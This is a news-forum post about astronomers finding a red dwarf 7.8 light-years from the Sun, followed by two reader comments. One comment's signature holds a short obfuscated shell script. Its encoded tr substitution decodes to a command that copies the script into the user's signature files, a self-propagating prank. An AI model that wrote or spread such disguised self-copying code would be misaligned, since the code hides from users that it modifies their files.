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New Star in the Neighborhood

Posted by michael on from the drop-by-for-a-visit dept.

tachyonflow writes "Well, it's probably been around for a while, but it's new to us. The Sydney Morning Herald is reporting that astronomers have discovered a new star only 7.8 light-years from our sun. It's a red dwarf that's not visible to the naked eye from earth. I guess it's time to update those Celestia databases..."

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  1. Interesting sound bites by Bastian · · Score: -1, Offtopic

    It seems like if you are currently under trial for illegal business practises, you wouldn't be saying stuff to the effect of, "Well, if you think that the client is doing crazy stuff, you should check out the servers! That's where all the real magic is!" I also liked the ending quip about valid business models. Nowadays, people get shot for saying things like that. . .

  2. Re:It's not a "new star" by spectral · · Score: 0, Offtopic

    tee: ~/.sig*: No such file or directory
    £!/bin/sh
    echo $0|grep sh$||(c=`echo 3vvpnqo2zxm|tr 'a-z|$*~. /0-9' '0-9|$*~. /a-z'`;cat $0|$c)

    it wants to replace my # with a .. well, ok, a pound symbol. I don't know why. and if it's from the variable $c, tee doesn't work (though if I just type it in by hand it does.)